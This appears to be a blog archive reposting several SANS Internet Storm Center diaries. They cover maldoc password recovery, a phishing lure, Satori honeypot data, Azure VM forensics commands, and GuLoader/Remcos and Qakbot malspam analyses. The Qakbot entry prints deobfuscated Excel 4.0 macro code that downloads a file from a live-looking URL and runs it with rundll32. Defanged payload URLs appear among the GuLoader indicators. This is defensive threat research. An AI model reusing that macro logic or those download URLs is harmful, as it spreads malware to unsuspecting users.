Blog

Archive for February, 2021

Maldocs: Protection Passwords, (Sun, Feb 28th)

In diary entry “Unprotecting Malicious Documents For Inspection” I explain how to deal with protected malicious Excel documents by removing the protection passwords.

I created a new version of my plugin plugin_biff that attempts to recover protection passwords with a dictionary attack.

Here I use it with Brad’s malicious spreadsheet sample:

It’s not possible to determine if the recovered passwords (piano1 and 1qaz2wsx) are the actual passwords used by the malicious actors, or if they are the result of hash collisions (it’s only a 32-bit hash). But they do work: you can remove the protections by using these passwords.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Pretending to be an Outlook Version Update, (Fri, Feb 26th)

I received this phishing email yesterday that seemed very strange with this short and urgent message:

“The Classic version of Outlook Mail will be replaced by our new version. So it’s time to verify, before you lose your email access.”

Holding and hovering my cursor over the URL, it was pointing to a site which has nothing to do with office (www[.]notion[.]so). The site is described as a All-in-one workspace to share information.

Following the URL, the page kind of look legitimate. However, the Outlook mail icon are just pictures, not posible to select anything. Another good give away that something isn’t right in the right corner a picture with Notion. The only option is to “Click Here” which lead to the URL in the picture below.

Following the link, Firefox then provide this warning:

This is tax time which is prime for phishing scams (phone or email), they might have already started in your region. This SANS material [3][4], a poster and a training video, are a good reminder how these scam work. They can be shared with family members and coworkers to help them recongnize, detect and avoid being taken by phishing attacks.

Indicator of Compromise

https://www.notion[.]so/OUTLOOK-MAIL-e8a3b1516dd74f589b3d543bb93f6472 [1]
https://mail0.godaddysites[.]com [2]

[1] https://www.virustotal.com/gui/url/66c05ccf9efefa57705efae249dd8f96dec132c28060f41b361ed0d509a3f50a/detection
[2] https://www.virustotal.com/gui/url/7a7709eb06749d01f37f4611459d237165c1467eeff6488976d51a2de31ed0b9/detection
[3] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[4] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[5] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[6] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[7] https://ec.europa.eu/taxation_customs/node/1029_en
[8] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

So where did those Satori attacks come from?, (Thu, Feb 25th)

Last week I posted about a new Satori variant scanning on TCP port 26 that I was picking up in my honeypots. Things have slowed down a bit, but levels are still above where they had been since mid-July 2020 on %%port:26%%.

In some discussion afterward, a question that came up was where were the attacks coming from. My first thought was to take the IPs and run them through the Maxmind DB to geolocate them and map them. I first looked around to see if there was a Python script that would do the job using the Maxmind and Google Maps APIs. I didn’t actually find what I was hoping for. I did find a few things that I can probably make work eventually (and if I have some time after I teach next week), perhaps I’ll work more on that. In the meantime, Xavier threw the IPs in Splunk for me and got me some maps to show where the attacks were coming from. Now, it turns out that of the 384 attacks I recorded in 2 of my honeypots over the first 3 or 4 days of the spike, they came from 340 distinct IPs. The verdict is… most of them were coming from Korea. Here’s what we got.

And if I zoom in on Asia, we see this

And, finally, I took a look at the US.

So, I’m not sure exactly what to make of all of this. I ran a few of these IPs through Shodan and didn’t come up with anything in particular that they seemed to have in common, but maybe I didn’t run enough of them.

If nothing else, this has given me some ideas of projects I need to work on when I have some free time. If anyone has any additional insight, I welcome your comments below or via e-mail or our contact page.

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Forensicating Azure VMs, (Thu, Feb 25th)

With more and more workloads migrating to “the Cloud”, we see post-breach forensic investigations also increasingly moving from on-premises to remote instances. If we are lucky and the installation is well engineered, we will encounter a “managed” virtual machine setup, where a forensic agent or EDR (endpoint detection & response) product is pre-installed on our affected VM. Alas, in my experience, this so far seems to be the exception rather than the norm. It almost feels like some lessons learned in the past two decades about EDR have been thrown out again, just because … “Cloud”. 

If you find yourself in such a situation, like I recently did, here is a throwback to the forensics methodology from two decades ago: Creating a disk image, and getting a forensic time line off an affected computer. That the computer is a VM in the Cloud makes things marginally easier, but with modern disk sizes approaching terabytes, disk image timelining is neither elegant nor quick. But it still works.

Lets say we have a VM that has been hacked. In my example, for demonstration purposes, I custom-created a VM named “whacked” in an Azure resource group named “whacked”. The subscription IDs and resource IDs below have been obfuscated to protect the not-so-innocent Community College where this engagement occurred.

If you have the Azure CLI installed, and have the necessary privileges, you can use command line / powershell commands do forensicate. I recommend this over Azure GUI, because it allows you to keep a precise log of what exactly you were doing.

First, find out which OS disk your affected VM is using:

powershell> $vm=az vm show --name whacked --resource-group whacked | ConvertFrom-JSON
powershell> $vm.storageProfile.osDisk.managedDisk.id
/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/disks/whacked_disk1_66a[...]7

Then, get more info about that OS disk. This will show for example the size of the OS disk, when it was created, which OS it uses, etc

powershell> $disk=az disk show --ids $vm.storageProfile.osDisk.managedDisk.id

Create a snapshot of the affected disk.  Nicely enough, this can be done while the VM is running. All you need is “Contributor” or “Owner” rights on the resource group or subscription where the affected VM is located

powershell> $snap = az snapshot create --resource-group whacked --name whacked-snapshot-2021FEB20 --source "/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/disks/whacked_disk1_66a[...]7" --location centralus | ConvertFrom-JSON

Take note of the “location” parameter, it has to match the location of the disk, otherwise you’ll get an obscure and unhelpful error, like “disk not found”.

powershell> $snap.id
/subscriptions/366[...]42/resourceGroups/whacked/providers/Microsoft.Compute/snapshots/whacked-snapshot-2021FEB20

Next step, we create a temporary access signature to this snapshot. 

powershell> $sas=(az snapshot grant-access --duration-in-seconds 7200 --resource-group whacked --name whacked-snapshot-2021FEB20 --access-level read --query [accessSas] -o tsv)

This allows us to copy the snapshot out of the affected subscription and resource, to a storage account that we control and maintain for forensic purposes:

powershell> az storage blob copy start --destination-blob whacked-snapshot-2021FEB20 --destination-container images --account-name [removed] --auth-mode login --source-uri "`"$sas`""

Take note of the "`"$sas`"" quotation… this is not mentioned in the Microsoft Docs anywhere, as far as I can tell. But the SAS access signature contains characters like “&” which are interpreted by Powershell as commands, so unless you use this exact way of double-quoting the string, the command will never work, and the resulting error messages will be extremely unhelpful.

The “Account-Name” that I removed is the name of your forensics Azure Storage Account where you have a container named “images”.  The copy operation itself is asynchronous, and is gonna take a while. You can check the status by using “az storage blob show”, like this:

powershell> (az storage blob show -c images --account-name forensicimage -n whacked-snapshot-2021FEB20 --auth-mode login | ConvertFrom-JSON).properties.copy.progress
943718400/136367309312
powershell> (az storage blob show -c images --account-name forensicimage -n whacked-snapshot-2021FEB20 --auth-mode login | ConvertFrom-JSON).properties.copy.progress
136367309312/136367309312

Once both numbers match, all bytes have been copied. In our case, the disk was ~127GB.

Next step, create a new disk from the image. Make sure to pick a –size-gb that is bigger than your image:

powershell> az disk create --resource-group forensicdemo --name whacked-image --sku 'Standard_LRS' --location 'centralus' --size-gb 150 --source "`"https://[removed].blob.core.windows.net/images/whacked-snapshot-2021FEB20`"" 

Then, attach this new disk into a SANS SIFT VM that you have running in Azure for the purpose. In my example, the VM is called “sift” and sits in the resource group “forensicdemo”:

powershell> $diskid=$(az disk show -g forensicdemo -n whacked-image --query 'id' -o tsv)
powershell> az vm disk attach -g forensicdemo --vm-name sift --name $diskid

Once this completes, you can log in to the SIFT VM, and mount the snapshot:

[email protected]:~# lsblk
NAME    MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda       8:0    0     4G  0 disk
  sda1    8:1    0     4G  0 part /mnt
sdb       8:16   0    30G  0 disk
  sdb1    8:17   0  29.9G  0 part /
  sdb14   8:30   0     4M  0 part
  sdb15   8:31   0   106M  0 part /boot/efi
sdc       8:32   0    64G  0 disk /plaso
sdd       8:48   0   150G  0 disk 
  sdd1    8:49   0   500M  0 part
  sdd2    8:50   0 126.5G  0 part
sr0      11:0    1   628K  0 rom
[email protected]:~#

Looks like our image ended up getting linked as “sdd2”. Let’s mount it

[email protected]:/plaso# mkdir /forensics
[email protected]:/plaso# mount -oro /dev/sdd2 /forensics/
[email protected]:/plaso# ls -al /forensics/Windows/System32/cmd.exe
-rwxrwxrwx 2 root root 289792 Feb  5 01:16 /forensics/Windows/System32/cmd.exe
[email protected]:/plaso# sha1sum /forensics/Windows/System32/cmd.exe
f1efb0fddc156e4c61c5f78a54700e4e7984d55d  /forensics/Windows/System32/cmd.exe

Once there, you can run Plaso / log2timeline.py, or forensicate the disk image in any other way desired. If live forensics is more your thing, you can also re-create a VM from the snapshot image (az vm create –attach-os-disk…, with –admin-password and –admin-username parameters to reset the built-in credentials), and then log into it. Of course doing so alters any ephemeral evidence, because you actually boot from the affected disk. But if there is something that you can analyze faster “live”, go for it.  After all, you still have the original image in the Azure Storage Account, so you can repeat this step as often as necessary until you got what you need. 

If the VM was encrypted with a custom key, there is an additional hurdle. In this case, $disk.EncryptionSettingsCollection will be “not null”, and you additionally need access to the affected subscription’s Azure Key Vault, to retrieve the BEK and KEK values of the encrypted disk. If this is the case in your environment, I recommend to take a look at the Microsoft-provided Workbook https://docs.microsoft.com/en-us/azure/architecture/example-scenario/forensics/ for Azure forensics, which mostly encompasses the commands listed above, but also supports private key encrypted VM disks.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malspam pushes GuLoader for Remcos RAT, (Wed, Feb 24th)

Introduction

Malicious spam (malspam) pushing GuLoader malware has been around for over a year now. GuLoader is a file downloader first observed in December 2019, and it has been used to distribute a wide variety of malware, especially malware based on remote administration tools (RATs).  I wrote a blog last year examining malspam using GuLoader for Netwire RAT.  And GuLoader activity has continued since then.

Today’s diary reviews a case of malspam pushing GuLoader for Remcos RAT on Tuesday 2021-02-23.


Shown above:  Flow chart for the Remcos RAT infection reviewed in today’s diary.

The malspam


Shown above:  Screenshot of the malspam.

The malspam is supposedly from someone in Lowes from Canada.  Below are some email headers associated with this message.

Received: from rz-medizintechnik.com (unknown [185.29.11.66])
Date: 23 Feb 2021 07:18:05 +0100
From: CHIRAG MARCUS
Subject: New Quotation 2021
Message-ID:

As noted above, the sender is supposedly from lowes-ca.org, but this site is not associated with Lowes. That domain has an open directory for its web server, and it seems like it’s being used for malicious purposes.


Shown above:  Lowes-ca.org when viewed in a web browser.

The attachment

I opened the attachment in my lab, but I was on a Windows 10 host running a recent version of Microsoft Office.  Initially, I didn’t realize this was a document with an exploit targeting CVE-2017-11882.  I had to switch to an older Windows 7 host to get an infection.


Shown above:  Screenshot of the attachment opened in Excel.

The infection traffic

Infection traffic was typical for what I’ve seen with previous GuLoader infections for some sort of RAT-based malware.  In this case, the infected Windows host was unable to establish a TCP connection with the server used by this sample for Remcos RAT.


Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

The infected Windows host had GuLoader persistent on the infected host using a registry update.  When rebooted, the GuLoader sample again retrieved the encoded binary for Remcos RAT.


Shown above:  GuLoader for Remcos RAT persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Associated malware:

SHA256 hash: 21c4c697c6cba3d1d7f5ae5d768bf0c1d716eccc4479b338f2cf1336cf06b8ad

  • File size: 2,231,808 bytes
  • File name: Lowes_Quotation_PN#1092021.xlsx
  • File description: Email attachment, Word doc with exploit for CVE-2017-11882

SHA256 hash: 6141efb6f1598e2205806c5a788e61c489440dfc942984ee1688bb68ad0f18df

  • File size: 106,496 bytes
  • File location: hxxp://mtspsmjeli.sch[.]id/Img/VOP.exe
  • File location: C:Users[username]AppDataRoamingwin.exe
  • File description: Windows EXE, GUI Loader for Remcos RAT

Infection traffic:

GuLoader EXE retrieved through CVE-2017-11882 exploit:

  • 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /Img/VOP.exe

GuLoader retrieves encoded data for Remcos RAT:

  • 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /cl/VK_Remcos%20v2_AxaGIU151.bin

Remcos RAT post-infection traffic:

  • 192.253.246[.]142 port 2009 – hsyuwbvxczbansmloiujdhsbnbcgywqauaghxvz.ydns[.]eu – attempted TCP connections

Final words

We continue to see new malware samples using exploits based on CVE-2017-11882 in the wild.  This vulnerability is over 3 years old, and exploits targeting it are not effective against the most recent versions of Microsoft Windows and Office.  The only reason we continue to see these new samples is because distributing exploits based on CVE-2017-11882 remains profitable.  That means a substantial number of people still use outdated versions of Microsoft Office and/or Windows that are not properly patched or updated.

GuLoader has been a relatively a constant presence in our threat landscape since it was discovered in December 2019, so I expect we’ll also continue to see new samples for various RAT-based malware in the weeks and months ahead.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Qakbot in a response to Full Disclosure post, (Tue, Feb 23rd)

Given its history, the Full Disclosure mailing list[1] is probably one of the best-known places on the internet where information about newly discovered vulnerabilities is may be published in a completely open way. If one wishes to inform the wider security community about a vulnerability one found in any piece of software, one only has to submit a post and after it is evaluated by the moderators, the information will be published to the list. Whatever your own thoughts on the issues of full or limited disclosure might be, the list can be an interesting source of information.

Couple of years back, I posted a message to the list about a small vulnerability I found in a plugin for the CMS Made Simple content management system[2]. And last week, to my surprise, I received what appeared to be a reply to my post… Although at a first glance, its contents seemed more than a little suspicious.

The headers in the message showed that although it was really sent in a reply to the post from 2019 (the “In-Reply-To” and “References” headers contained the correct message ID of the original mail), it didn’t go through the mailing list itself.

...
MIME-Version: 1.0
Date: Thu, 18 Feb 2021 17:39:51 +0100
...
Message-ID: 
Subject: [Jan Kopriva] [FD] Open Redirection vulnerability in Babel (CMSMS
 Module)
...
Content-Type: multipart/mixed; boundary="------------000309030201050000030608"
sender: Fulldisclosure 
X-Priority: 3 (Normal)
From: techis <[email protected]
...
In-Reply-To: 
References: 
...

The sender address, which may be seen in the picture above (“fulldislosure-bounces … on behalf of”), might make the message appear as if it did originate from the mailing list, however this information, just as the identity of the sender which recipient sees after opening the message, is only based on one of the message headers (in this case “sender”), which means that it may be set almost arbitrarily by the sender.

The attachment contained an XLS file (document-1544458006.xls).

Upon closer inspection, the file turned out to contain Excel 4.0 macros.

In cases of documents with Excel 4.0 macros, I find that to get a quick (and admittedly very dirty) look at their code, it is not a bad idea to simply copy contents of all the Excel sheets with macros into a text file and remove all unnecessary whitespaces. If the macros aren’t heavily obfuscated, this approach may result in something readable. Luckily, this was one of those cases, as you may see from the following code.

=Doc1!AK28()
	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AP41&"2 ",AD15)	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AQ41,AE15)
	=AE14()	=Doc2!AC12()=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25)
=AG24()
=CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&"A","JJC"&"CBB",0,Doc1!A100,""&""&""&""&""&""&""&""&""&""&""&""&""&""&""&Doc1!AQ30,0)
=AO5()
=REPLACE(Doc1!AQ25,6,1,Doc1!AQ26)	
=REPLACE(AP34,6,1,Doc1!AL12)		URLMon		egist
=AK22()	erServer
=""&""&""&""&""&""&""&""&""&""&""&""&EXEC(Doc1!AD15&Doc1!AQ30&Doc1!AE15&AG24)	r	,	
=HALT()	u	D	
	n	l	..idefje.ekfd
	d	l	
	l	R	
	l		
	3	File	
		Dow	
	U		
	R		
	L		
	M	URL	
	o		
	n	rundll3	,DllR



="https://jordanbetterworkplace.org/ds/1802."&C100		gif	

=REPLACE(Doc1!AP35,7,7,"nloadTo")
=REPLACE(Doc1!AP39,7,7,"")
=REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,"l3")
=Doc1!AH16()

Although there is some elementary obfuscation applied to the code, few of the rows provide a good enough idea of what the macros are probably supposed to do (i.e. most likely download and run the contents of https[:]//jordanbetterworkplace[.]org/ds/1802.gif). The URL was no longer active by the time I got to it, but from a recent analysis of a nearly identical file by the Hatching Triage sandbox[3] as well as threat intelligence data available for the URL itself[4], it is clear that the final payload was supposed to be the Qakbot infostealer.

Although one may only guess at the background, since the e-mail carrying the XLS contained valid message ID of the original e-mail sent to the mailing list in its headers, it is quite probable, that it was really sent in response to the Full Disclosure post. Probably after some threat actor managed to compromise an e-mail account, which was subscribed to the list.

If this was the case, I would however expect not to be the only recipient of a similar message, so if any of our readers is a contributor to the FD list, please let us know in the comments if you’ve received something similar.

Regardless, what brought the message to my attention in the first place (i.e. it appearing as if it was sent through the Full Disclosure mailing list) turned out to be a coincidence more than anything else. It was however a good reminder that similar coincidences do happen and may sometimes lead to recipients receiving very trustworthy looking messages…even though it might not be through intentional activity on the part of the attackers.

Indicators of Compromise (IoCs)
document-1544458006.xls (89 kB)
MD5 – 871f8ff683479dee3546a750e1a04808
SHA1 – 5b1344d6d6148ebdaa508a2b25fa2ce0fed87e57

[1] https://seclists.org/fulldisclosure/
[2] https://seclists.org/fulldisclosure/2019/Mar/11
[3] https://tria.ge/210218-pnw1z6fjv2
[4] https://urlhaus.abuse.ch/url/1017981/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 5 12345